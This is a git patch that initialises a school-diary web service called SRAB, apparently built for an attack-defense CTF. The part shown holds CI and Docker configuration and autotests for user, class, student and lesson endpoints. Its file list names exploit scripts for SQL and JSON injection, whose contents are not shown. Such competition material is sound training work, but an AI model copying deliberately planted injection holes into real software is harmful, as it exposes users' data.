From 33c97acade8fd9df8b859ae7101fd058a4d01923 Mon Sep 17 00:00:00 2001 From: greenhazz Date: Wed, 26 Nov 2025 21:32:41 +0300 Subject: [PATCH] init here --- .dockerignore | 7 + .gitignore | 5 + .gitlab-ci.yml | 114 +++ .vscode/settings.json | 6 + Dockerfile | 31 + autotest/__init__.py | 0 autotest/cases/__init__.py | 0 .../cases/case_01_users_create_teacher.py | 25 + .../cases/case_02_users_create_mismatch.py | 18 + autotest/cases/case_03_users_login_success.py | 18 + autotest/cases/case_04_users_login_failure.py | 14 + .../cases/case_05_users_change_password.py | 16 + .../case_06_users_login_with_new_password.py | 18 + .../cases/case_07_teachers_auth_required.py | 9 + .../cases/case_08_teachers_create_class.py | 31 + .../cases/case_09_teachers_list_classes.py | 24 + .../case_10_teachers_create_extra_class.py | 19 + .../case_11_teachers_delete_extra_class.py | 27 + .../cases/case_12_students_create_student.py | 33 + .../case_13_students_create_second_student.py | 31 + .../case_14_teachers_add_student_to_class.py | 32 + autotest/cases/case_15_students_list.py | 31 + autotest/cases/case_16_students_get.py | 48 ++ autotest/cases/case_17_students_delete.py | 39 + autotest/cases/case_18_lessons_teacher_add.py | 86 ++ autotest/cases/case_19_lessons_list.py | 80 ++ .../cases/case_20_lessons_teacher_delete.py | 81 ++ ...e_21_teachers_remove_student_from_class.py | 55 ++ autotest/main.py | 255 ++++++ checker/checker.py | 742 ++++++++++++++++ docker-compose.yml | 8 + frontend/app.js | 36 + frontend/index.html | 53 ++ frontend/kek.js | 140 +++ frontend/router.js | 23 + frontend/srab.jpg | Bin 0 -> 169710 bytes frontend/styles.css | 236 +++++ frontend/utils.js | 112 +++ frontend/views/auth.js | 86 ++ frontend/views/student.js | 98 +++ frontend/views/teacher.js | 406 +++++++++ openapi/srab.yaml | 812 ++++++++++++++++++ sploits/01_sql_bad_escape.py | 38 + sploits/02_sql_no_escape.py | 38 + sploits/03_json_injection.py | 44 + sploits/common/__init__.py | 118 +++ var/.keep | 0 wrapper/Cargo.lock | 713 +++++++++++++++ wrapper/Cargo.toml | 10 + wrapper/src/main.rs | 188 ++++ исх/бд/скуля/скуля.tri | 101 +++ исх/бюрократия/бюрократия.tri | 28 + исх/властелины/главный/главный.tri | 18 + исх/властелины/классы/классы.tri | 373 ++++++++ исх/властелины/пользователи/пользователи.tri | 84 ++ .../властелины/пользователи/ученики/ученики.tri | 381 ++++++++ .../властелины/пользователи/учителя/учителя.tri | 215 +++++ исх/властелины/уроки/уроки.tri | 392 +++++++++ исх/вперед-назад/типы.tri | 5 + исх/картотека/картотека.tri | 13 + исх/картотека/репозитории/пользователь.tri | 130 +++ исх/маршруты/маршруты.tri | 24 + исх/массивы/массивы.tri | 3 + исх/миграции/миграции.tri | 112 +++ исх/отдых/отдых.tri | 9 + исх/сборщик-мусора/сборщик-мусора.tri | 7 + исх/сеть/тцп/сервер.tri | 57 ++ исх/сеть/хттп/клиент.tri | 140 +++ исх/сеть/хттп/маршрутизатор/маршутизатор.tri | 120 +++ исх/сеть/хттп/маршрутизатор/обработчики.tri | 8 + исх/сеть/хттп/ответ.tri | 118 +++ исх/сеть/хттп/парсер.tri | 235 +++++ исх/сеть/хттп/типы.tri | 24 + исх/спринтф/спринтф.tri | 9 + исх/сраб.tri | 78 ++ исх/стд-вперед-назад/ввод.tri | 23 + исх/строка/строка.tri | 184 ++++ исх/струя/струя-внутр/внутр.tri | 3 + исх/струя/струя.tri | 21 + исх/форматы/джесон/лексер.tri | 296 +++++++ исх/форматы/джесон/парсер.tri | 259 ++++++ исх/форматы/джесон/типы.tri | 205 +++++ карга.json | 12 + си/pstruya.c | 46 + си/pstruya.h | 14 + си/sckulya.c | 160 ++++ си/sckulya.h | 17 + си/stdin.c | 34 + си/stdin.h | 9 + си/suckit.c | 121 +++ си/suckit.h | 13 + 91 files changed, 9155 insertions(+) create mode 100644 .dockerignore create mode 100644 .gitignore create mode 100644 .gitlab-ci.yml create mode 100644 .vscode/settings.json create mode 100644 Dockerfile create mode 100644 autotest/__init__.py create mode 100644 autotest/cases/__init__.py create mode 100644 autotest/cases/case_01_users_create_teacher.py create mode 100644 autotest/cases/case_02_users_create_mismatch.py create mode 100644 autotest/cases/case_03_users_login_success.py create mode 100644 autotest/cases/case_04_users_login_failure.py create mode 100644 autotest/cases/case_05_users_change_password.py create mode 100644 autotest/cases/case_06_users_login_with_new_password.py create mode 100644 autotest/cases/case_07_teachers_auth_required.py create mode 100644 autotest/cases/case_08_teachers_create_class.py create mode 100644 autotest/cases/case_09_teachers_list_classes.py create mode 100644 autotest/cases/case_10_teachers_create_extra_class.py create mode 100644 autotest/cases/case_11_teachers_delete_extra_class.py create mode 100644 autotest/cases/case_12_students_create_student.py create mode 100644 autotest/cases/case_13_students_create_second_student.py create mode 100644 autotest/cases/case_14_teachers_add_student_to_class.py create mode 100644 autotest/cases/case_15_students_list.py create mode 100644 autotest/cases/case_16_students_get.py create mode 100644 autotest/cases/case_17_students_delete.py create mode 100644 autotest/cases/case_18_lessons_teacher_add.py create mode 100644 autotest/cases/case_19_lessons_list.py create mode 100644 autotest/cases/case_20_lessons_teacher_delete.py create mode 100644 autotest/cases/case_21_teachers_remove_student_from_class.py create mode 100644 autotest/main.py create mode 100644 checker/checker.py create mode 100644 docker-compose.yml create mode 100644 frontend/app.js create mode 100644 frontend/index.html create mode 100644 frontend/kek.js create mode 100644 frontend/router.js create mode 100644 frontend/srab.jpg create mode 100644 frontend/styles.css create mode 100644 frontend/utils.js create mode 100644 frontend/views/auth.js create mode 100644 frontend/views/student.js create mode 100644 frontend/views/teacher.js create mode 100644 openapi/srab.yaml create mode 100644 sploits/01_sql_bad_escape.py create mode 100644 sploits/02_sql_no_escape.py create mode 100644 sploits/03_json_injection.py create mode 100644 sploits/common/__init__.py create mode 100644 var/.keep create mode 100644 wrapper/Cargo.lock create mode 100644 wrapper/Cargo.toml create mode 100644 wrapper/src/main.rs create mode 100644 исх/бд/скуля/скуля.tri create mode 100644 исх/бюрократия/бюрократия.tri create mode 100644 исх/властелины/главный/главный.tri create mode 100644 исх/властелины/классы/классы.tri create mode 100644 исх/властелины/пользователи/пользователи.tri create mode 100644 исх/властелины/пользователи/ученики/ученики.tri create mode 100644 исх/властелины/пользователи/учителя/учителя.tri create mode 100644 исх/властелины/уроки/уроки.tri create mode 100644 исх/вперед-назад/типы.tri create mode 100644 исх/картотека/картотека.tri create mode 100644 исх/картотека/репозитории/пользователь.tri create mode 100644 исх/маршруты/маршруты.tri create mode 100644 исх/массивы/массивы.tri create mode 100644 исх/миграции/миграции.tri create mode 100644 исх/отдых/отдых.tri create mode 100644 исх/сборщик-мусора/сборщик-мусора.tri create mode 100644 исх/сеть/тцп/сервер.tri create mode 100644 исх/сеть/хттп/клиент.tri create mode 100644 исх/сеть/хттп/маршрутизатор/маршутизатор.tri create mode 100644 исх/сеть/хттп/маршрутизатор/обработчики.tri create mode 100644 исх/сеть/хттп/ответ.tri create mode 100644 исх/сеть/хттп/парсер.tri create mode 100644 исх/сеть/хттп/типы.tri create mode 100644 исх/спринтф/спринтф.tri create mode 100644 исх/сраб.tri create mode 100644 исх/стд-вперед-назад/ввод.tri create mode 100644 исх/строка/строка.tri create mode 100644 исх/струя/струя-внутр/внутр.tri create mode 100644 исх/струя/струя.tri create mode 100644 исх/форматы/джесон/лексер.tri create mode 100644 исх/форматы/джесон/парсер.tri create mode 100644 исх/форматы/джесон/типы.tri create mode 100644 карга.json create mode 100644 си/pstruya.c create mode 100644 си/pstruya.h create mode 100644 си/sckulya.c create mode 100644 си/sckulya.h create mode 100644 си/stdin.c create mode 100644 си/stdin.h create mode 100644 си/suckit.c create mode 100644 си/suckit.h diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..5cdb276 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,7 @@ +* + +!исх/** +!си/** +!карга.json +!wrapper/** +!frontend/** diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c5cb7b6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +/build +target/ +*.sqlite +*.db +__pycache__ diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml new file mode 100644 index 0000000..efc212f --- /dev/null +++ b/.gitlab-ci.yml @@ -0,0 +1,114 @@ +image: ubuntu:25.10 + +stages: + - build + - test + - deploy + +build: + stage: build + variables: + DEBIAN_FRONTEND: noninteractive + LANG: C.UTF-8 + LC_ALL: C.UTF-8 + cache: + key: "build-$CI_COMMIT_REF_SLUG" + paths: + - build/ + policy: pull-push + before_script: + - apt-get update + - apt-get install -y --no-install-recommends clang build-essential sqlite3 libsqlite3-dev wget ca-certificates + - update-ca-certificates || true + - wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga + - chmod +x /usr/local/bin/carga + script: + - I_AM_SCARED_PLEASE_TALK_TO_ME=true carga собери + artifacts: + name: "target-$CI_COMMIT_REF_SLUG" + paths: + - build/target.exe + +build_wrapper: + stage: build + image: rust:1.90-bookworm + variables: + CARGO_HOME: "$CI_PROJECT_DIR/.cargo" + cache: + key: "cargo-$CI_COMMIT_REF_SLUG" + paths: + - .cargo/registry + - .cargo/git + - wrapper/target + policy: pull-push + script: + - cd wrapper + - cargo build --release + artifacts: + name: "wrapper-$CI_COMMIT_REF_SLUG" + paths: + - wrapper/target/release/wrapper + +test: + stage: test + dependencies: + - build + - build_wrapper + variables: + DEBIAN_FRONTEND: noninteractive + LANG: C.UTF-8 + LC_ALL: C.UTF-8 + before_script: + - apt-get update + - apt-get install -y --no-install-recommends python3 python3-pip + - python3 -m pip install --break-system-packages requests + script: + - export SERVER_PATH="$(pwd)/wrapper/target/release/wrapper" + - export BIN_PATH="$(pwd)/build/target.exe" + - python3 ./autotest/main.py -s + +pages: + stage: deploy + image: node:20 + script: + - npm init -y + - npm install swagger-ui-dist + - mkdir -p public + - cp -r node_modules/swagger-ui-dist/* public/ + - cp ./openapi/srab.yaml public/ + - | + cat > public/index.html <<'EOF' + + + + + SRAB API Documentation + + + + + +
+ + + + EOF + artifacts: + paths: + - public + only: + refs: + - master + changes: + - openapi/**/* + - .gitlab-ci.yml diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..5392341 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,6 @@ +{ + "[trivil]": { + "editor.autoIndent": "advanced", + "editor.unicodeHighlight.ambiguousCharacters": false + } +} diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..d67772c --- /dev/null +++ b/Dockerfile @@ -0,0 +1,31 @@ +FROM rust:1.90-bookworm AS wrapper_builder + +COPY wrapper/ /app +WORKDIR /app + +RUN cargo build --release + +FROM ubuntu:25.10 + +RUN apt-get update && \ + apt-get install -y clang build-essential sqlite3 libsqlite3-dev wget + +RUN wget https://lab.voldemort.tech/api/v4/projects/lambda%2Fcarga/packages/generic/carga/v0.0.1/carga -O /usr/local/bin/carga && \ + chmod +x /usr/local/bin/carga + +WORKDIR /app + +COPY карга.json ./ +COPY исх/ ./исх +COPY си/ ./си + +RUN --mount=type=cache,target=/app/build carga собери && \ + cp /app/build/target.exe /app/target.exe + +COPY --from=wrapper_builder /app/target/release/wrapper /app/wrapper +COPY frontend /app/frontend + +ENV BIN_PATH=/app/target.exe +ENV STATIC_PATH=/app/frontend +EXPOSE 1337 +CMD ["/app/wrapper"] diff --git a/autotest/__init__.py b/autotest/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/autotest/cases/__init__.py b/autotest/cases/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/autotest/cases/case_01_users_create_teacher.py b/autotest/cases/case_01_users_create_teacher.py new file mode 100644 index 0000000..ba336c4 --- /dev/null +++ b/autotest/cases/case_01_users_create_teacher.py @@ -0,0 +1,25 @@ +TEST_NAME = "users:create teacher" + + +def run(context) -> None: + payload = { + context.K_FIRST_NAME: context.teacher_first, + context.K_LAST_NAME: context.teacher_last, + context.K_MIDDLE_NAME: context.teacher_middle, + context.K_EDUCATION: context.teacher_education, + context.K_PASSWORD: context.teacher_password, + context.K_CONFIRM_PASSWORD: context.teacher_password, + } + status, body, _ = context.send_request("POST", "/api/users", body=payload) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + user_id = context.query_single_value( + "SELECT id FROM users WHERE username = ?", + (context.teacher_username,), + ) + context.teacher_user_id = user_id + teacher_id = context.query_single_value( + "SELECT id FROM teachers WHERE user_id = ?", + (user_id,), + ) + context.expect(teacher_id > 0, "teacher id must be positive") + context.teacher_id = teacher_id diff --git a/autotest/cases/case_02_users_create_mismatch.py b/autotest/cases/case_02_users_create_mismatch.py new file mode 100644 index 0000000..689c92a --- /dev/null +++ b/autotest/cases/case_02_users_create_mismatch.py @@ -0,0 +1,18 @@ +TEST_NAME = "users:create mismatch" + + +def run(context) -> None: + payload = { + context.K_FIRST_NAME: "Bob", + context.K_LAST_NAME: "Doe", + context.K_MIDDLE_NAME: "Ray", + context.K_EDUCATION: "History", + context.K_PASSWORD: "OnePass", + context.K_CONFIRM_PASSWORD: "OtherPass", + } + status, body, _ = context.send_request("POST", "/api/users", body=payload) + context.expect(status == 400, f"expected 400, got {status}") + context.expect( + context.MESSAGE_PASSWORD_MISMATCH in body, + "expected mismatch message", + ) diff --git a/autotest/cases/case_03_users_login_success.py b/autotest/cases/case_03_users_login_success.py new file mode 100644 index 0000000..f2f6e74 --- /dev/null +++ b/autotest/cases/case_03_users_login_success.py @@ -0,0 +1,18 @@ +TEST_NAME = "users:login success" + + +def run(context) -> None: + payload = { + context.K_USERNAME: context.teacher_username, + context.K_PASSWORD: context.teacher_password, + } + status, body, _ = context.send_request( + "POST", + "/api/users/login", + body=payload, + ) + context.expect(status == 200, f"expected 200, got {status}") + context.expect( + body == context.MESSAGE_LOGIN_OK, + f"unexpected login body: {body!r}", + ) diff --git a/autotest/cases/case_04_users_login_failure.py b/autotest/cases/case_04_users_login_failure.py new file mode 100644 index 0000000..bd79c95 --- /dev/null +++ b/autotest/cases/case_04_users_login_failure.py @@ -0,0 +1,14 @@ +TEST_NAME = "users:login failure" + + +def run(context) -> None: + payload = { + context.K_USERNAME: context.teacher_username, + context.K_PASSWORD: "WrongPass", + } + status, _, _ = context.send_request( + "POST", + "/api/users/login", + body=payload, + ) + context.expect(status == 401, f"expected 401, got {status}") diff --git a/autotest/cases/case_05_users_change_password.py b/autotest/cases/case_05_users_change_password.py new file mode 100644 index 0000000..53142c4 --- /dev/null +++ b/autotest/cases/case_05_users_change_password.py @@ -0,0 +1,16 @@ +TEST_NAME = "users:change password" + + +def run(context) -> None: + payload = {context.K_NEW_PASSWORD: context.teacher_password_new} + status, body, _ = context.send_request( + "PUT", + "/api/users/password", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}, body={body!r}") + context.teacher_password = context.teacher_password_new diff --git a/autotest/cases/case_06_users_login_with_new_password.py b/autotest/cases/case_06_users_login_with_new_password.py new file mode 100644 index 0000000..227652e --- /dev/null +++ b/autotest/cases/case_06_users_login_with_new_password.py @@ -0,0 +1,18 @@ +TEST_NAME = "users:login with new password" + + +def run(context) -> None: + payload = { + context.K_USERNAME: context.teacher_username, + context.K_PASSWORD: context.teacher_password, + } + status, body, _ = context.send_request( + "POST", + "/api/users/login", + body=payload, + ) + context.expect(status == 200, f"expected 200, got {status}") + context.expect( + body == context.MESSAGE_LOGIN_OK, + f"unexpected login body: {body!r}", + ) diff --git a/autotest/cases/case_07_teachers_auth_required.py b/autotest/cases/case_07_teachers_auth_required.py new file mode 100644 index 0000000..2bfe2d0 --- /dev/null +++ b/autotest/cases/case_07_teachers_auth_required.py @@ -0,0 +1,9 @@ +TEST_NAME = "teachers:auth required" + + +def run(context) -> None: + status, _, _ = context.send_request("GET", "/api/classes") + context.expect(status == 401, f"expected 401, got {status}") + payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"} + status, _, _ = context.send_request("POST", "/api/classes", body=payload) + context.expect(status == 401, f"expected 401, got {status}") diff --git a/autotest/cases/case_08_teachers_create_class.py b/autotest/cases/case_08_teachers_create_class.py new file mode 100644 index 0000000..ffbe4eb --- /dev/null +++ b/autotest/cases/case_08_teachers_create_class.py @@ -0,0 +1,31 @@ +import json + +TEST_NAME = "teachers:create class" + + +def run(context) -> None: + payload = {context.K_CLASS_NUMBER: 5, context.K_CLASS_LETTER: "A"} + status, body, _ = context.send_request( + "POST", + "/api/classes", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + data = json.loads(body) + context.class_id = int(data[context.K_IDENTIFIER]) + context.expect( + data[context.K_CLASS_NUMBER] == payload[context.K_CLASS_NUMBER], + "class number mismatch", + ) + context.expect( + data[context.K_CLASS_LETTER] == payload[context.K_CLASS_LETTER], + "class letter mismatch", + ) + context.expect( + int(data[context.K_CREATOR]) > 0, + "creator id must be positive", + ) diff --git a/autotest/cases/case_09_teachers_list_classes.py b/autotest/cases/case_09_teachers_list_classes.py new file mode 100644 index 0000000..70e832f --- /dev/null +++ b/autotest/cases/case_09_teachers_list_classes.py @@ -0,0 +1,24 @@ +import json + +TEST_NAME = "teachers:list classes" + + +def run(context) -> None: + status, body, _ = context.send_request( + "GET", + "/api/classes", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + data = json.loads(body) + entries = data.get(context.K_CLASSES, []) + context.expect( + any( + int(item[context.K_IDENTIFIER]) == context.class_id + for item in entries + ), + "class not listed", + ) diff --git a/autotest/cases/case_10_teachers_create_extra_class.py b/autotest/cases/case_10_teachers_create_extra_class.py new file mode 100644 index 0000000..ad0a83c --- /dev/null +++ b/autotest/cases/case_10_teachers_create_extra_class.py @@ -0,0 +1,19 @@ +import json + +TEST_NAME = "teachers:create extra class" + + +def run(context) -> None: + payload = {context.K_CLASS_NUMBER: 6, context.K_CLASS_LETTER: "B"} + status, body, _ = context.send_request( + "POST", + "/api/classes", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}") + data = json.loads(body) + context.class_two_id = int(data[context.K_IDENTIFIER]) diff --git a/autotest/cases/case_11_teachers_delete_extra_class.py b/autotest/cases/case_11_teachers_delete_extra_class.py new file mode 100644 index 0000000..e619866 --- /dev/null +++ b/autotest/cases/case_11_teachers_delete_extra_class.py @@ -0,0 +1,27 @@ +TEST_NAME = "teachers:delete extra class" + + +def run(context) -> None: + path = f"/api/classes/{context.class_two_id}" + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 404, + f"expected 404 on repeated delete, got {status}", + ) + context.class_two_id = None diff --git a/autotest/cases/case_12_students_create_student.py b/autotest/cases/case_12_students_create_student.py new file mode 100644 index 0000000..eb7f373 --- /dev/null +++ b/autotest/cases/case_12_students_create_student.py @@ -0,0 +1,33 @@ +TEST_NAME = "students:create student" + + +def run(context) -> None: + status, _, _ = context.send_request("POST", "/api/students", body={}) + context.expect(status == 401, f"expected 401, got {status}") + payload = { + context.K_FIRST_NAME: "Charlie", + context.K_LAST_NAME: "Stone", + context.K_MIDDLE_NAME: "Lee", + context.K_PASSWORD: "Student42", + context.K_CONFIRM_PASSWORD: "Student42", + context.K_SNILS: "00011122233", + context.K_PASSPORT: "AB1234567", + } + status, body, _ = context.send_request( + "POST", + "/api/students", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + context.student_one_id = context.query_single_value( + "SELECT id FROM students WHERE snils = ?", + (payload[context.K_SNILS],), + ) + context.student_one_username = ( + f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}" + ) + context.student_one_password = payload[context.K_PASSWORD] diff --git a/autotest/cases/case_13_students_create_second_student.py b/autotest/cases/case_13_students_create_second_student.py new file mode 100644 index 0000000..6dbeadd --- /dev/null +++ b/autotest/cases/case_13_students_create_second_student.py @@ -0,0 +1,31 @@ +TEST_NAME = "students:create second student" + + +def run(context) -> None: + payload = { + context.K_FIRST_NAME: "Daisy", + context.K_LAST_NAME: "King", + context.K_MIDDLE_NAME: "May", + context.K_PASSWORD: "Student84", + context.K_CONFIRM_PASSWORD: "Student84", + context.K_SNILS: "99988877766", + context.K_PASSPORT: "CD7654321", + } + status, body, _ = context.send_request( + "POST", + "/api/students", + body=payload, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + context.student_two_id = context.query_single_value( + "SELECT id FROM students WHERE snils = ?", + (payload[context.K_SNILS],), + ) + context.student_two_username = ( + f"{payload[context.K_FIRST_NAME]}.{payload[context.K_LAST_NAME]}" + ) + context.student_two_password = payload[context.K_PASSWORD] diff --git a/autotest/cases/case_14_teachers_add_student_to_class.py b/autotest/cases/case_14_teachers_add_student_to_class.py new file mode 100644 index 0000000..d91e4eb --- /dev/null +++ b/autotest/cases/case_14_teachers_add_student_to_class.py @@ -0,0 +1,32 @@ +TEST_NAME = "teachers:add student to class" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/students/{context.student_two_id}" + status, _, _ = context.send_request("POST", path) + context.expect(status == 401, f"expected 401, got {status}") + status, _, _ = context.send_request( + "POST", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}") + invalid_path = ( + f"/api/classes/{context.class_id + 999}/students/" + f"{context.student_two_id}" + ) + status, _, _ = context.send_request( + "POST", + invalid_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) diff --git a/autotest/cases/case_15_students_list.py b/autotest/cases/case_15_students_list.py new file mode 100644 index 0000000..b0659f9 --- /dev/null +++ b/autotest/cases/case_15_students_list.py @@ -0,0 +1,31 @@ +import json + +TEST_NAME = "students:list" + + +def run(context) -> None: + status, _, _ = context.send_request("GET", "/api/students") + context.expect(status == 401, f"expected 401, got {status}") + + status, body, _ = context.send_request( + "GET", + "/api/students", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + + data = json.loads(body) + students = data.get("ученики", []) + ids = {int(item[context.K_IDENTIFIER]) for item in students} + + context.expect( + context.student_one_id in ids, + "first student missing from list", + ) + context.expect( + context.student_two_id in ids, + "second student missing from list", + ) diff --git a/autotest/cases/case_16_students_get.py b/autotest/cases/case_16_students_get.py new file mode 100644 index 0000000..7278961 --- /dev/null +++ b/autotest/cases/case_16_students_get.py @@ -0,0 +1,48 @@ +import json + +TEST_NAME = "students:get one" + + +def run(context) -> None: + path = f"/api/students/{context.student_one_id}" + status, _, _ = context.send_request("GET", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, body, _ = context.send_request( + "GET", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + + data = json.loads(body) + context.expect( + int(data[context.K_IDENTIFIER]) == context.student_one_id, + "unexpected student id", + ) + context.expect( + data.get(context.K_FIRST_NAME), + "missing student first name", + ) + context.expect( + data.get(context.K_LAST_NAME), + "missing student last name", + ) + context.expect( + data.get(context.K_USERNAME), + "missing student username", + ) + + missing_path = f"/api/students/{context.student_two_id + 999}" + status, _, _ = context.send_request( + "GET", + missing_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404, got {status}") diff --git a/autotest/cases/case_17_students_delete.py b/autotest/cases/case_17_students_delete.py new file mode 100644 index 0000000..9d50ca6 --- /dev/null +++ b/autotest/cases/case_17_students_delete.py @@ -0,0 +1,39 @@ +TEST_NAME = "students:delete" + + +def run(context) -> None: + path = f"/api/students/{context.student_one_id}" + status, _, _ = context.send_request("DELETE", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "DELETE", + f"/api/students/{context.student_one_id + 999}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404, got {status}") + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + + status, _, _ = context.send_request( + "GET", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404 after delete, got {status}") + + context.student_one_id = None diff --git a/autotest/cases/case_18_lessons_teacher_add.py b/autotest/cases/case_18_lessons_teacher_add.py new file mode 100644 index 0000000..ebf5a97 --- /dev/null +++ b/autotest/cases/case_18_lessons_teacher_add.py @@ -0,0 +1,86 @@ +import json + +TEST_NAME = "lessons:create" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/lessons" + payload_primary = { + "дата": "2025-09-01", + "название": "Алгебра", + "домашнее задание": "Упражнения 1-3", + } + + status, _, _ = context.send_request("POST", path, body=payload_primary) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "POST", + f"/api/classes/{context.class_id + 999}/lessons", + body=payload_primary, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) + + status, body, _ = context.send_request( + "POST", + path, + body=payload_primary, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 201, f"expected 201, got {status}, body={body!r}") + + data = json.loads(body) + context.lesson_first_id = int(data[context.K_IDENTIFIER]) + context.lesson_first_date = payload_primary["дата"] + context.lesson_first_title = payload_primary["название"] + context.expect( + int(data["идентификатор класса"]) == context.class_id, + "lesson class mismatch", + ) + context.expect( + data["название"] == payload_primary["название"], + "lesson title mismatch", + ) + context.expect( + data["дата"] == payload_primary["дата"], + "lesson date mismatch", + ) + + payload_secondary = { + "дата урока": "2025-09-02", + "тема": "Геометрия", + "домашка": "Читать параграф 4", + } + + status, body, _ = context.send_request( + "POST", + path, + body=payload_secondary, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 201, + f"expected 201 for second lesson, got {status}", + ) + + data = json.loads(body) + context.lesson_second_id = int(data[context.K_IDENTIFIER]) + context.lesson_second_date = payload_secondary["дата урока"] + context.lesson_second_title = payload_secondary["тема"] + context.expect( + data["домашнее задание"] == payload_secondary["домашка"], + "secondary homework mismatch", + ) diff --git a/autotest/cases/case_19_lessons_list.py b/autotest/cases/case_19_lessons_list.py new file mode 100644 index 0000000..2f913de --- /dev/null +++ b/autotest/cases/case_19_lessons_list.py @@ -0,0 +1,80 @@ +import json + +TEST_NAME = "lessons:list" + + +def run(context) -> None: + base_path = f"/api/classes/{context.class_id}/lessons" + status, _, _ = context.send_request("GET", base_path) + context.expect(status == 401, f"expected 401, got {status}") + + status, body, _ = context.send_request( + "GET", + base_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200, got {status}") + + data = json.loads(body) + lessons = data.get("уроки", []) + context.expect(len(lessons) >= 2, "expected at least two lessons") + + def find_lesson(entry_id: int): + for item in lessons: + if int(item[context.K_IDENTIFIER]) == entry_id: + return item + return None + + first_entry = find_lesson(context.lesson_first_id) + context.expect(first_entry is not None, "first lesson missing") + context.expect( + first_entry.get("название") == context.lesson_first_title, + "first lesson title mismatch", + ) + + filter_path = ( + f"/api/classes/{context.class_id}/lessons/date/" + f"{context.lesson_first_date}" + ) + status, body, _ = context.send_request( + "GET", + filter_path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 200, f"expected 200 for filter, got {status}") + + filtered = json.loads(body).get("уроки", []) + context.expect( + len(filtered) == 1, + f"expected single lesson in filter, got {len(filtered)}", + ) + context.expect( + int(filtered[0][context.K_IDENTIFIER]) == context.lesson_first_id, + "filter returned unexpected lesson", + ) + + student_headers = context.make_auth( + context.student_two_username, + context.student_two_password, + ) + status, body, _ = context.send_request( + "GET", + base_path, + headers=student_headers, + ) + context.expect(status == 200, f"expected 200 for student, got {status}") + + student_view = json.loads(body).get("уроки", []) + context.expect( + any( + int(item[context.K_IDENTIFIER]) == context.lesson_second_id + for item in student_view + ), + "student view missing lesson", + ) diff --git a/autotest/cases/case_20_lessons_teacher_delete.py b/autotest/cases/case_20_lessons_teacher_delete.py new file mode 100644 index 0000000..86a801e --- /dev/null +++ b/autotest/cases/case_20_lessons_teacher_delete.py @@ -0,0 +1,81 @@ +import json + +TEST_NAME = "lessons:delete" + + +def run(context) -> None: + path = f"/api/classes/{context.class_id}/lessons/{context.lesson_first_id}" + status, _, _ = context.send_request("DELETE", path) + context.expect(status == 401, f"expected 401, got {status}") + + status, _, _ = context.send_request( + "DELETE", + f"/api/classes/{context.class_id + 999}/lessons/" + f"{context.lesson_first_id}", + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect( + status == 403, + f"expected 403 for foreign class, got {status}", + ) + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 204, f"expected 204, got {status}") + + status, _, _ = context.send_request( + "DELETE", + path, + headers=context.make_auth( + context.teacher_username, + context.teacher_password, + ), + ) + context.expect(status == 404, f"expected 404 after delete, got {status}") + + 